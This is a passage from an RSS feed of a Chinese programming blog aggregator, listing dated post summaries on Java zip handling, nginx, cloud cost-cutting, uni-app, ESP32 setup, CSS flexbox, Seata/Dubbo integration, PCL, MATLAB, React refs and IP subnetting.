      <link>https://bchobby.github.io/posts/d07c191ae8860b404fd1938c80e95fbe/</link>
      <pubDate>Tue, 04 Jul 2023 11:17:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d07c191ae8860b404fd1938c80e95fbe/</guid>
      <description>要压缩和解压，可以使用Java中的压缩库，如java.util.zip或org.apache.commons.compress&#xA;ZipOutputStream(压缩流)此类为以 ZIP 文件格式写入文件实现输出流过滤器。&#xA;ZipInputStream(解压流)此类为读取 ZIP 文件格式的文件实现输入流过滤器。&#xA;话不多说代码如下：&#xA;package file; import java.io.*; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; import java.util.zip.ZipOutputStream; public class FileCompressor { public static void main(String[] args) { File[] files = {new File(&#34;F:\\a\\66\\测试哈哈哈111.docx&#34;)}; String zipFilePath = &#34;compressed.zip&#34;; try { compressFiles(files, zipFilePath); System.out.println(&#34;Files compressed successfully.&#34;); } catch (IOException e) { e.printStackTrace(); } // String zipFilePath = &#34;F:/批量下载测试_系统管理员_202307040952.zip&#34;; // String destDir = &#34;F:/a&#34;; // // try { // extractFiles(zipFilePath, destDir); // System.</description>
    </item>
    <item>
      <title>nginx的root，alias以及proxy_pass</title>
      <link>https://bchobby.github.io/posts/0fdc7e6ede0fe66cbb92e1cd28021c60/</link>
      <pubDate>Tue, 04 Jul 2023 10:57:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fdc7e6ede0fe66cbb92e1cd28021c60/</guid>
      <description>nginx的配置细节，说的太好了，在此记录一下：nginx的root，alias以及proxy_pass</description>
    </item>
    <item>
      <title>【云上服务器降低成本】</title>
      <link>https://bchobby.github.io/posts/291cc34f938dc07cc651a43fb3cde91e/</link>
      <pubDate>Tue, 04 Jul 2023 10:20:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/291cc34f938dc07cc651a43fb3cde91e/</guid>
      <description>MD@[云上服务器降低成本]&#xA;云上服务器降低成本 说明: 本文以华为云为例，主要讲解云上服务降低费用的使用技巧&#xA;1.ECS服务器降本 参考文档:华为云官网文档_迁移准备&#xA;1.1 ECS临时使用需求 1.项目初始阶段，需要进行大量试错运行，可以“按需”购买ECS，然后不用时关机。关机后vCPU不收费, 只有云硬盘收费&#xA;2.项目运维阶段，可能需要重复创建ECS，建议关机后制作私有镜像(仅收取OBS存储费)，以便重复创建相同服务器。&#xA;1.2 服务器集群降本 1.购买CCE基础版, 是纳管master节点的, 不需要再管理master&#xA;2.网络降本 1.EIP，按需.按流量购买EIP, 绑定到ECS上, 只收取流量费用, 不收其他费&#xA;2.NAT, 单向网络需求, 仅允许局域网访问公网, 不允许公网访问当前局域网。&#xA;3.存储降本 推荐使用对象存储, 对象存储会比云硬盘便宜的多</description>
    </item>
    <item>
      <title>uni-app如何生成海报图片</title>
      <link>https://bchobby.github.io/posts/2fc7fdd5d7d049e135c4d75a314b679c/</link>
      <pubDate>Tue, 04 Jul 2023 10:02:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fc7fdd5d7d049e135c4d75a314b679c/</guid>
      <description>项目场景： 在uni-app中，通过点击邀请分享海报的方式，可以展示不同的海报，并通过扫描海报上的二维码来实现用户之间的关系绑定，从而实现分销功能；每次生成的海报样式都可能不同，可以根据后台配置的宽度、高度、X坐标和Y坐标的不同，需要灵活调整每个海报中展示二维码的位置。 问题描述 uni-app中如何使用API生成海报。生成的图片无法正确展示，本地可以看到，真机上看不到。动态改变二维码的位置和大小，位置有所偏差。怎么给头像设置成圆形。 原因分析： 当在uni-app中生成海报时，如果使用网络图片，需要使用uni.getImageInfo函数将其转换为本地临时路径。如果后台返回的太阳码是以base64形式的数据，可能会在真机上无法展示，所以需将其转换为本地路径。在canvas中设置的值都是以像素（px）为单位，如果根据750设计图给太阳码设置数值时，需要进行转换，以适应不同屏幕的像素密度。 解决方案： 通过点击“邀请好友返现赚不停”，生成海报，有两种方案去实现以上效果：&#xA;通过uni-app提供的API，可以实现纯前端的canvas渲染海报，这种方法加载速度快且不需要占用后端资源，但无法通过长按识别二维码和转发海报，只能保存到手机相册再转发给朋友。通过后端来渲染海报，虽然会占用后端资源，但它的优势在于后端直接生成图片。只需在image标签上添加show-menu-by-longpress属性，就可以实现长按识别二维码和直接转发海报给朋友的功能。 本文主要介绍了通过纯前端的canvas生成海报的方式：&#xA;1、逻辑梳理： 在展示海报的过程中，首先我们需要使用uView框架提供的popup组件，不过这些细节在这里并不重要，因为下面的JavaScript代码是通用的，只是样式上可能会有些不同，但是你是uni-app的项目，主要步骤如下：&#xA;首先，我们需要在canvas中展示一张海报图片。然后，根据登录信息获取当前用户的头像和名字。通过接口获取太阳码的数据地址。将获取到的头像、名字和太阳码赋值到对应的位置。 &amp;lt;view class=&#34;share-btn&#34;&amp;gt; &amp;lt;button @click=&#34;handleShareClick&#34;&amp;gt;邀请好友返现赚不停&amp;lt;/button&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;u-popup @close=&#34;closePoster&#34; :show=&#34;isPosterShow&#34; mode=&#34;center&#34; bgColor=&#34;transparent&#34; :safeAreaInsetBottom=&#34;false&#34; round=&#34;20&#34; :customStyle=&#34;{ margin: &#39;0 auto&#39;, position: &#39;relative&#39; }&#34;&amp;gt; &amp;lt;canvas v-if=&#34;isPosterShow&#34; :disable-scroll=&#34;true&#34; canvas-id=&#34;mycanvas&#34; style=&#34;width: 604rpx;height:1080rpx;&#34;&amp;gt;&amp;lt;/canvas&amp;gt; &amp;lt;view v-if=&#34;isPosterShow&#34; class=&#34;poster-btn&#34;&amp;gt;&amp;lt;button @click=&#34;savaImgLocalClick&#34;&amp;gt;保存图片到本地&amp;lt;/button&amp;gt;&amp;lt;/view&amp;gt; &amp;lt;!-- 这是一个关闭的图标 --&amp;gt; &amp;lt;!-- &amp;lt;view v-if=&#34;isPosterShow&#34; class=&#34;poster-close&#34; @click=&#34;closePoster&#34;&amp;gt; &amp;lt;image :src=&#34;imgs.pclose&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;/view&amp;gt; --&amp;gt; &amp;lt;/u-popup&amp;gt; 2、海报的渲染 import { ref } from &#34;vue&#34; import { onLoad } from &#34;@dcloudio/uni-app&#34; let isPosterShow = ref&amp;lt;boolean&amp;gt;(false) pixelRatio.</description>
    </item>
    <item>
      <title>ESP32开发：1、环境搭建（基于vscode&#43;ESP-IDF）</title>
      <link>https://bchobby.github.io/posts/d21488cad9ffed7e7f533397fb56cab0/</link>
      <pubDate>Tue, 04 Jul 2023 08:50:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d21488cad9ffed7e7f533397fb56cab0/</guid>
      <description>1、ESP-IDF ESP-IDF提供操作ESP32芯片的API函数，供用户编写的用户程序调用。当用户程序编写好后，ESP-IDF需要借助一系列编译工具才能将用户程序+API函数编译成能运行在ESP32上的二进制文件。&#xA;如上图所示这个1个G左右大的压缩包就是ESP-IDF。如果电脑上已经存在了这个文件，就可以不用下载直接用。&#xA;一般vscode的ESP-IDF插件中常出现的IDF_PATH就是指这个路径：&#xA;2、工具链 ESP-IDF依赖一系列的工具链，如下图：&#xA;这些工具中我们熟悉的有python、git、cmake、ninja等，因此也需要安装这些插件。这些插件都是命令行类的，大小比较小（总共600M）。&#xA;这些工具要能够让ESP-IDF找到，一般可以通过添加环境变量的方式。&#xA;需要把上图中的文件夹都添加进环境变量中。这样有些麻烦，并且有时候还会和其他软件用的这个工具在版本上冲突。因此，Vscode的ESP-IDF扩展是通过一个设置来指明所用工具的地址的，如下图：&#xA;在红色圈4中圈出的就是各种工具所在的路径。如果电脑上已经安装了某些工具，不想再安装，也可以通过改这些路径来讲其指到新的路径，但要注意工具的版本要符合ESP-IDF的要求。&#xA;ESP-IDF中也有相关文件记录这些工具的位置，参考：&#xA;https://github.com/espressif/vscode-esp-idf-extension/blob/master/docs/SETUP.md#JSON-Manual-Configuration&#xA;一般vscode的ESP-IDF插件中常出现的IDF_TOOLS_PATH就是指这个路径：&#xA;3、安装 官方的安装教程如下：&#xA;https://github.com/espressif/vscode-esp-idf-extension/blob/master/docs/tutorial/install.md&#xA;一般按照这个教程一步步的都可以正常安装。如果本地存在ESP-IDF和一些工具链，不想下载，让vscode能找到。可以看到在安装首页时就可以指定本地存在的ESP-IDF：&#xA;通过指定本地存在的文件，可以避免下载新文件。&#xA;其中ESP_IDF应该指到：esp-idf-v4.4.4.zip解压缩后形成的esp-idf文件夹，如下图：&#xA;里面包含了一些初始化的脚本文件和操作工具的脚本文件：&#xA;其中IDF_TOOLS_PATH应该指到：将工具链里面各工具放在同一个叫tools的文件夹，指到tools文件夹的上层，如下图：&#xA;tools文件夹中包含了各种工具：&#xA;按照教程安装，看到下图界面时，代表安装成功，就可以开始愉快的ESP32 IDF开发之旅啦！！！</description>
    </item>
    <item>
      <title>【七】CSS之弹性布局</title>
      <link>https://bchobby.github.io/posts/bf03c66d5668b6fe61c6f15467d87bb1/</link>
      <pubDate>Tue, 04 Jul 2023 08:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf03c66d5668b6fe61c6f15467d87bb1/</guid>
      <description>【七】CSS之弹性布局 【1】什么是弹性布局 随着技术的发展，那么在当前市场上，安装浏览器的客户端越来越多，设备也越来越多，所以CSS提供的布局，不仅应用于PC端，还可以应用于移动端设备 例如：watch、ipad，mobile等，甚至包括机器人界面、智能屏、智能电视机、3D广告屏幕等等。也因此前端开发越来越需要一套代码就可以应用任何一种不同的屏幕下的样式。 弹性布局，也叫Flex布局(Flexible Box) 这种布局方式是把HTML网页中每一个元素都看成1个能够进行自由伸缩的盒模型(Flex盒模型，弹性盒模型)。 任何一个html元素都可以指定为Flex盒模型。 .box{ display: flex; /* flex盒模型有2种，块级元素可以设置为flex盒模型，行内元素也可以通过 display: inline-flex; 设置为行级flex盒模型 */ } 注意，当元素设为 Flex 布局元素以后，当前flex盒模型元素的子元素的float、clear和vertical-align属性将失效，因为flex布局本身也提供了替代的属性。&#xA;【2】基本概念 采用 Flex 布局的元素，称为 Flex 容器(flex container)，简称&#34;容器&#34;。它的所有子元素自动成为容器成员，称为 Flex 项目(flex item)，简称&#34;项目&#34;。 容器默认存在两根轴： 水平的主轴(main axis，也叫横轴或X轴)和垂直的交叉轴(cross axis，也叫纵轴或Y轴)。主轴的开始位置(与边框的交叉点)叫做main start，结束位置叫做main end；交叉轴的开始位置叫做cross start，结束位置叫做cross end。 项目默认沿主轴排列。 单个项目占据的主轴空间叫做main size，占据的交叉轴空间叫做cross size。 【3】Flex容器的属性 提供了6个属性可以设置在flex容器上。 属性描述flex-direction决定主轴的方向(即项目的排列方向)flex-wrap默认情况下，项目都排在一条线(又称&#34;轴线&#34;)上。flex-wrap属性定义，如果一条轴线排不下，如何换行。flex-flowflex-flow属性是flex-direction属性和flex-wrap属性的简写形式，默认值为row nowrap。justify-content定义flex项目在主轴(x轴)上的对齐方式。align-items定义flex项目在交叉轴(y轴)上如何对齐。align-content定义多根轴线的对齐方式。如果项目只有一根轴线，该属性不起作用。 (1)flex-direction flex-direction属性决定主轴的方向(即项目的排列方向)。 属性值描述row按行正向排列row-reverse按行翻转排列column按列正向排列column-reverse按列翻转排列 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; ul{display: flex;list-style: none;} li{width: 100px;height: 40px;margin: 5px;background: red;color: white;} .box1{flex-direction: row;} .</description>
    </item>
    <item>
      <title>给README</title>
      <link>https://bchobby.github.io/posts/aaa969b129a960084dc8563d1abfc71a/</link>
      <pubDate>Mon, 03 Jul 2023 22:53:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaa969b129a960084dc8563d1abfc71a/</guid>
      <description>在github中，给README.md添加图片 大致的原理是：先上传图片到Github中，然后在READE.md中添加图片！是云存储的方式。&#xA;1.首先将图片上传到Github上，然后获取图片的路径。即为图片的路径了！&#xA;2.使用绝对路径写法：&#xA;![image](https://github.com/cainiaoyige01/tingyu-cloud/blob/main/static/img/2.png))&#xA;3.相对路径写法&#xA;![image](statis/img/2.png) 4.点击“Preview ”就可以看到效果了</description>
    </item>
    <item>
      <title>SpringBoot&#43; Dubbo &#43; Mybatis &#43; Nacos &#43;Seata整合来实现Dubbo分布式事务</title>
      <link>https://bchobby.github.io/posts/cabf25bfab52d96ffe162102b3f0e56e/</link>
      <pubDate>Mon, 03 Jul 2023 20:36:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cabf25bfab52d96ffe162102b3f0e56e/</guid>
      <description>1.简介 “ 本文主要介绍SpringBoot2.1.5 + Dubbo 2.7.3 + Mybatis 3.4.2 + Nacos 1.1.3 +Seata 0.8.0整合来实现Dubbo分布式事务管理，使用Nacos 作为 Dubbo和Seata的注册中心和配置中心,使用 MySQL 数据库和 MyBatis来操作数据。&#xA;” 如果你还对SpringBoot、Dubbo、Nacos、Seata、Mybatis 不是很了解的话，这里我为大家整理个它们的官网网站，如下&#xA;SpringBoot：https://spring.io/projects/spring-boot&#xA;Dubbo：http://dubbo.apache.org/en-us/&#xA;Nacos：https://nacos.io/zh-cn/docs/quick-start.html&#xA;Seata：https://github.com/seata/seata/wiki/Home_Chinese&#xA;MyBatis：http://www.mybatis.org/mybatis-3/zh/index.html&#xA;在这里我们就不一个一个介绍它们是怎么使用和原理，详细请学习官方文档，在这里我将开始对它们进行整合，完成一个简单的案例，来让大家了解Seata来实现Dubbo分布式事务管理的基本流程。&#xA;2.环境准备 2.1 下载nacos并安装启动 nacos下载：https://github.com/alibaba/nacos/releases/tag/1.1.3&#xA;Nacos 快速入门：https://nacos.io/en-us/docs/quick-start.html&#xA;sh startup.sh -m standalone 1 在浏览器打开Nacos web 控制台：http://192.168.10.200:8848/nacos/index.html&#xA;输入nacos的账号和密码 分别为nacos：nacos&#xA;这是时候naocs 就正常启动了。&#xA;2.2 下载seata0.8.0 并安装启动 2.2.1 在 Seata Release 下载最新版的 Seata Server 并解压得到如下目录： . ├──bin ├──conf ├──file_store └──lib 12345 2.2.2 修改 conf/registry.conf 配置， 目前seata支持如下的file、nacos 、apollo、zk、consul的注册中心和配置中心。这里我们以nacos 为例。将 type 改为 nacos</description>
    </item>
    <item>
      <title>【PCL】（四）点云可视化</title>
      <link>https://bchobby.github.io/posts/3e7cdb1f925477b4802a08aa7de3017d/</link>
      <pubDate>Mon, 03 Jul 2023 20:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e7cdb1f925477b4802a08aa7de3017d/</guid>
      <description>文章目录 可视化CloudViewer 可视化PCLVisualizer 可视化可视化单个云添加一些颜色RGB点云指定颜色 法线和其他信息绘制形状多个窗口交互自定义 可视化 CloudViewer 可视化 将【PCL】（一）PCL基本数据结构PointCloud与原生文件格式PCD末尾的数据保存到my_point_cloud.pcd，将以下代码复制到cloud_viewer.cpp&#xA;#include &amp;lt;pcl/visualization/cloud_viewer.h&amp;gt; #include &amp;lt;pcl/io/pcd_io.h&amp;gt; int user_data; int main () { pcl::PointCloud&amp;lt;pcl::PointXYZRGBA&amp;gt;::Ptr cloud (new pcl::PointCloud&amp;lt;pcl::PointXYZRGBA&amp;gt;); pcl::io::loadPCDFile (&#34;my_point_cloud.pcd&#34;, *cloud); pcl::visualization::CloudViewer viewer(&#34;Cloud Viewer&#34;); viewer.showCloud(cloud); while (!viewer.wasStopped ()) { } return 0; } cmake_minimum_required(VERSION 3.5 FATAL_ERROR) project(cloud_viewer) find_package(PCL 1.2 REQUIRED) include_directories(${PCL_INCLUDE_DIRS}) link_directories(${PCL_LIBRARY_DIRS}) add_definitions(${PCL_DEFINITIONS}) add_executable (cloud_viewer cloud_viewer.cpp) target_link_libraries (cloud_viewer ${PCL_LIBRARIES}) 得到可执行文件后用鼠标点击并缩放会看到：&#xA;PCLVisualizer 可视化 PCLVisualizer是PCL功能更全的可视化类。虽然使用起来比CloudViewer更复杂，但它也更强大，提供了显示法线、绘制形状和多个视口等更多的功能。&#xA;以下代码为一些可视化功能的模板，我们首先将其复制到名为pcl_visualizer_demo.cpp的文件中。&#xA;/* \author Geoffrey Biggs */ #include &amp;lt;iostream&amp;gt; #include &amp;lt;thread&amp;gt; #include &amp;lt;pcl/common/angles.</description>
    </item>
    <item>
      <title>数字图像处理 实验七：图像的复原处理 matlab</title>
      <link>https://bchobby.github.io/posts/08a383d46abadd8f7a5e4973045929c6/</link>
      <pubDate>Mon, 03 Jul 2023 20:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08a383d46abadd8f7a5e4973045929c6/</guid>
      <description>实验内容 （1）构造一个矩形方块图像，对其分别加入高斯和椒盐噪声，显示原始图像和噪声图像，及每个图片相对应的直方图。&#xA;（2）任意选择一幅图像，对其使用运动模糊处理，再在模糊图像中加入高斯噪声，使用逆滤波和 winner 滤波对其进行去退化处理，比较效果，显示原始图像和复原图像。&#xA;源程序和结果 （1）构造一个矩形方块图像，对其分别加入高斯和椒盐噪声，显示原始图像和噪声图像，及每个图片相对应的直方图。&#xA;a=zeros(256,256);&#xA;a(1:128,1:128)=235;&#xA;a(129:256,1:128)=155;&#xA;a(1:128,129:256)=125;&#xA;a(129:256,129:256)=100;&#xA;j=imnoise(uint8(a),&#39;salt &amp;amp; pepper&#39;,0.02);%加椒盐噪声&#xA;m=imnoise(uint8(a),&#39;gaussian&#39;);%加高斯噪声&#xA;figure (1)&#xA;subplot(2,3,1);imshow(uint8(a));title(&#39;原图&#39;);&#xA;subplot(2,3,4);imhist(uint8(a));subplot(2,3,2);&#xA;imshow(j);title(&#39;加入椒盐噪声&#39;);&#xA;subplot(2,3,5);imhist(j);subplot(2,3,3);&#xA;imshow(m);title(&#39;加入高斯噪声&#39;);subplot(2,3,6);imhist(m);&#xA;（2）任意选择一幅图像，对其使用运动模糊处理，再在模糊图像中加入高斯噪声，使用逆滤波和 winner 滤波对其进行去退化处理，比较效果，显示原始图像和复原图像。&#xA;clear;&#xA;close all&#xA;A=imread(&#39;lena.bmp&#39;);&#xA;figure (2)&#xA;subplot(1,2,1);&#xA;imshow(A);title(&#39;原图像&#39;);&#xA;l=rgb2gray(A);&#xA;subplot(1,2,2);&#xA;imshow(l);&#xA;title(&#39;二维灰度图像&#39;);%将彩色图像转换为二维灰度图像&#xA;[m,n]=size(l);&#xA;F=fftshift(fft2(l));k=0.0025;&#xA;H=[];&#xA;for u=1:m&#xA;for v=1:n&#xA;q=((u-m/2)^2+(v-n/2)^2)^(5/6);&#xA;H(u,v)=exp((-k)*q);&#xA;end&#xA;end&#xA;G=F.*H;&#xA;l0=abs(ifft2(fftshift(G)));&#xA;figure (3);&#xA;subplot(2,2,1);&#xA;imshow(uint8(l0));&#xA;title(&#39;模糊图像&#39;);&#xA;l1=0.1*randn(size(l0));&#xA;l1=l0+l1;&#xA;%生成高斯白噪声图像&#xA;subplot(2,2,2)&#xA;imshow(uint8(l1));&#xA;title(&#39;模糊并且添加高斯白噪声图像&#39;);&#xA;F0=fftshift(fft2(l1));&#xA;F1=F0./H;&#xA;l2=ifft2(fftshift(F1));&#xA;subplot(2,2,3)&#xA;imshow(uint8(l2));&#xA;title(&#39;逆滤波后复原图像&#39;);&#xA;K=0.1;%维纳滤波的参数可以调H=[];</description>
    </item>
    <item>
      <title>react中查找DOM的方法</title>
      <link>https://bchobby.github.io/posts/26e50c37037d52e03b7c7fca2c2424f7/</link>
      <pubDate>Mon, 03 Jul 2023 19:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26e50c37037d52e03b7c7fca2c2424f7/</guid>
      <description>1, 给标签设置ref属性, 通过this.refs调用 (老版本语法,将要废除)&#xA;&amp;lt;h1 ref=&#34;myH1&#34;&amp;gt;&amp;lt;/h1&amp;gt;&#xA;this.refs.myH1&#xA;2, 在构造器中创建ref全局变量, 在标签中ref属性动态绑定这个全局变量, 通过全局变量的current字段调用&#xA;this.myH2 = React.createRef() &amp;lt;h2 ref={this.myH2}&amp;gt;&amp;lt;/h2&amp;gt;&#xA;this.myH2.current&#xA;3, 在标签ref属性绑定函数, 在函数中定义全局变量赋值, 通过全局变量调用&#xA;&amp;lt;h3 ref={ ele =&amp;gt; this.myH3 = ele }&amp;gt;&amp;lt;/h3&amp;gt;&#xA;this.myH3&#xA;4, 使用hook语法查找DOM&#xA;const d1 = useRef()&#xA;&amp;lt;div id=&#34;d1&#34; ref={d1}&amp;gt;div1&amp;lt;/div&amp;gt;&#xA;d1.current&#xA;5, 使用hook语法查找DOM&#xA;const d2 = useRef()&#xA;&amp;lt;div id=&#34;d2&#34; ref={el =&amp;gt; d2=el}&amp;gt;div1&amp;lt;/div&amp;gt;&#xA;d2&#xA;注意: 1, 在父组件中用ref获取子组件对象, 必须保证子组件是类组件, 函数式组件获取结果是undefined&#xA;2, 父组件使用ref获取子组件对象后, 可以对子组件状态数据和函数执行调用和修改</description>
    </item>
    <item>
      <title>IP地址划分</title>
      <link>https://bchobby.github.io/posts/c35bd1212e23b25010134b4474b0d3a6/</link>
      <pubDate>Mon, 03 Jul 2023 18:20:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c35bd1212e23b25010134b4474b0d3a6/</guid>
      <description>一、IP地址的定义及分类 1.定义&#xA;1.1 IP地址是互联网协议中用于标识网络设备的地址。它是由32位二进制数（IPv4）或128位二进制数（IPv6）组成的数字，用于唯一标识互联网上的每个设备。&#xA;1.2 IP地址通常被分类为以下几种类型：&#xA;公网IP地址：指的是公共互联网上的IP地址，可以用于全球范围内的互联网通信。&#xA;私有IP地址：指用于局域网内部通信的IP地址，只能在局域网内部使用，不能在公共互联网上使用。&#xA;静态IP地址：指指派给网络设备的永久不变的IP地址，一旦分配就不会自动更改。&#xA;动态IP地址：指由网络服务提供商（ISP）临时向网络设备分配的地址，可能会因为不同的连接、时间段或重新启动而发生变化。&#xA;共享IP地址：指多个设备共用同一个IP地址，通常用于在一个局域网内部共享网络连接资源。&#xA;2.分类&#xA;2.1 IP地址由两部分组成，网络部分（netID)和主机部分（hostID）。网络部分用于标识不同的网络，主机部分用于标识在一个网络中特定的主机。IP地址的网络部分由IANA（Internet Assigned Numbers Authority,Internet 地址分配机构)统一分配，以保证IP地址的唯一性。为了方便管理和分配，IANA将地址分为A类、B类、C类、D类和E类五类。&#xA;2.2 A类地址：第一个八位组第的1个比特位为0，所以它的第一个八位组的范围是00000000—01111111，第2-8位为网络号，第9-32位为主机号。A类地址的第一个地址块（网络号为0）和最后一个地址块（网络号为127）保留使用，即全0代表本地网络，全1代表保留诊断作用，因此A类地址的有效网络为0—126，全世界只有126个A类网络，每个A类网络拥有的主机数为24个比特位的组合，为2^24个，A类地址可用于最多128个网络，每个网络可容纳最多16777214个主机，因此称为&#34;大型网络&#34;，其地址范围为0.0.0.0~127.255.255.255。&#xA;A类私有地址是以下IP地址范围：10.0.0.0/8， 即10.0.0.0--10.255.255.255&#xA;A类地址中有一个特殊的地址是127.0.0.1，称为本机回环地址，用于主机测试，通常通过在本机上ping此地址来检查TCP/IP协议安装得正确与否。而且凡是以127开头的IP地址都代表本机。&#xA;2.3 B类地址： 第1-2位为10，网络部分范围是10000000.00000000—10111111.11111111第3-16位为网络号，第17-32位为主机号。B类地址可用于最多16384个网络，每个网络可容纳最多65534个主机，因此称为&#34;中型网络&#34;，其地址范围为128.0.0.0~191.255.255.255。&#xA;B类私有地址范围：172.16.0.0/12， 即172.16.0.0--172.31.255.255，其中172.16.0.0和172.31.255.255是网络地址和广播地址，不能分配给主机。B类私有地址可以在企业内部使用，但不能在公共互联网中路由。&#xA;2.4 C类地址： 第1-3位为110，第4-24位为网络号，第25-32位为主机号。C类地址可用于最多2097152个网络，每个网络可容纳最多254个主机，因此称为&#34;小型网络&#34;，其地址范围为192.0.0.0~223.255.255.255。&#xA;C类私有地址：192.168.0.0/ 16， 即192.168.0.0--192.168.255.255。这个地址范围是被保留用于内部网络的使用。在局域网或企业内部网络中使用这些地址可以避免与公共网络地址冲突。C类私有地址的使用不需要向任何组织或机构申请，因为它们是用于内部网络的。&#xA;2.5 D类地址： 第1-4位为1110，用于组播（multicasting），其地址范围为224.0.0.0~239.255.255.255。&#xA;2.6 E类地址： 第1-4位为1111，其地址范围为240.0.0.0~255.255.255.255，保留作为实验和研究使用，不用于实际网络通信。&#xA;二、子网掩码 子网掩码（Subnet Mask）是一个用于指示一个IP地址属于哪个网络的标准，它是一个32位的二进制数，通常用4个十进制数表示，每个数范围为0~255。子网掩码的作用是将IP地址分为网络地址和主机地址两部分，其中，网络地址确定了主机所在的网络，而主机地址则确定了该网络内部的具体主机。子网掩码通常与IP地址配合使用，通过将IP地址和子网掩码进行逻辑运算，来计算出网络地址和主机地址。例如，IP地址为192.168.1.100，子网掩码为255.255.255.0，则该IP地址所在的网络地址为192.168.1.0。&#xA;子网掩码（Subnet Mask）是一个32位的二进制数，用于指示一个IP地址中，哪些位是网络地址，哪些位是主机地址。它与IP地址一起使用，用于划分IP地址所在的网络和子网，以便实现网络通信。在计算机网络中，子网掩码是非常重要的概念，正确的设置子网掩码可以有效地提高网络的性能和安全性。&#xA;子网掩码的作用是将一个IP地址分成两部分：网络地址和主机地址。网络地址用于标识网络，主机地址用于标识主机。在一个子网中，所有的主机共享相同的网络地址，而主机地址则用于区分不同的主机。子网掩码通过将IP地址中的网络地址部分全部置为1，主机地址部分全部置为0，来标识网络地址和主机地址的范围。&#xA;例如，对于IP地址192.168.1.100，若子网掩码为255.255.255.0，则该IP地址中的前24位（即前3个8位）表示网络地址，后8位表示主机地址。因此，该IP地址所在的网络地址为192.168.1.0，主机地址为100。如果在同一子网中，其他主机的IP地址的前24位与该IP地址的前24位相同，则它们属于同一个子网，可以直接进行通信。&#xA;子网掩码的值通常是255.255.255.0或255.255.0.0或255.0.0.0等。其中，255表示该位是网络地址，0表示该位是主机地址。子网掩码的值越小，可以划分出的子网数量就越多，但每个子网可用的IP地址就越少。反之，子网掩码的值越大，可以划分出的子网数量就越少，但每个子网可用的IP地址就越多。因此，在设置子网掩码时，需要根据实际情况进行选择，以平衡网络性能和可用IP地址的需求。&#xA;在实际应用中，子网掩码通常与IP地址一起使用，来确定网络和子网的范围。例如，如果有一个IP地址为192.168.1.100，子网掩码为255.255.255.0的网络，那么网络地址是192.168.1.0，主机地址范围是从192.168.1.1到192.168.1.254。如果有一个IP地址为10.1.1.100，子网掩码为255.255.0.0的网络，那么网络地址是10.1.0.0，主机地址范围是从10.1.0.1到10.1.255.254。&#xA;在网络管理中，正确设置子网掩码也可以帮助提高网络的安全性。通过设置适当的子网掩码，可以将不同的网络和子网隔离开来，从而减少网络攻击的风险。例如，在一个企业内部网络中，可以将不同的部门划分到不同的子网中，使得不同部门之间的网络流量受到限制，从而减少网络攻击的可能性。&#xA;子网掩码的计算 TCP/IP网间网技术产生于大型主流机环境中，它能发展到今天的规模是当初的设计者们始料未及的。网间网规模的迅速扩展对IP地址模式的威胁并不是它不能保证主机地址的唯一性，而是会带来两方面的负担：第一，巨大的网络地址管理开销；第二，网关寻径急剧膨胀。其中第二点尤为突出，寻径表的膨胀不仅会降低网关寻径效率（甚至可能使寻径表溢出，从而造成寻径故障），更重要的是将增加内外部路径刷新时的开销，从而加重网络负担。&#xA;因此，迫切需要寻求新的技术，以应付网间网规模增长带来的问题。仔细分析发现，网间网规模的增长在内部主要表现为网络地址的增减，因此解决问题的思路集中在：如何减少网络地址。于是IP网络地址的多重复用技术应运而生。通过复用技术，使若干物理网络共享同一IP网络地址，无疑将减少网络地址数。&#xA;子网编址（subnet addressing）技术，又叫子网寻径（subnet routing），英文简称subnetting，是最广泛使用的IP网络地址复用方式，目前已经标准化，并成为IP地址模式的一部分。&#xA;32位的IP地址分为两部分，即网络号和主机号，分别把他们叫做IP地址的“网间网部分”和“本地部分”。子网编址技术将“本地部分”进一步划分为“物理网络”部分和“主机”两部分，其中“物理网络”部分用于标识同一IP网络地址下的不同物理网络，常称为“掩码位”、“子网掩码号”，或者“子网掩码ID”，不同子网就是依据这个掩码ID来识别的。&#xA;按IP协议的子网标准规定，每一个使用子网的网点都选择一个32位的位模式，若位模式中的某位置1，则对应IP地址中的某位为网络地址（包括网络部分和子网掩码号）中的一位；若位模式中的某位置0，则对应IP地址中的某位为主机地址中的一位。&#xA;例如二进制位模式：11111111 11111111 11111111 00000000中，前三个字节全1，代表对应IP地址中最高的三个字节为网络地址；后一个字节全0，代表对应IP地址中最后的一个字节为主机地址。为了使用的方便，常常使用“点分整数表示法”来表示一个IP地址和子网掩码，例如B类地址子网掩码（11111111 11111111 1111111100000000）为：255.255.25.0。&#xA;IP协议关于子网掩码的定义提供一定的灵活性，允许子网掩码中的“0”和“1”位不连续。但是，这样的子网掩码给分配主机地址和理解寻径表都带来一定困难，并且，极少的路由器支持在子网中使用低序或无序的位，因此在实际应用中通常各网点采用连续方式的子网掩码。像255.255.255.64和255.255.255.160等一类的子网掩码不推荐使用&#xA;子网掩码与IP地址结合使用，可以区分出一个网络地址的网络号和主机号。例如：有一个C类地址为：192.9.200.13，按其IP地址类型，它的缺省子网掩码为：255.255.255.0，则它的网络号和主机号可按如下方法得到：&#xA;第1步，将IP地址192.9.200.13转换为二进制11000000 00001001 11001000 00001101</description>
    </item>
    <item>
      <title>MySQL 8 group by 报错 this is incompatible with sql_mode=only_full_group_by</title>
      <link>https://bchobby.github.io/posts/6d27cbfb43145065d60859e63e10bdb7/</link>
      <pubDate>Mon, 03 Jul 2023 16:34:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d27cbfb43145065d60859e63e10bdb7/</guid>
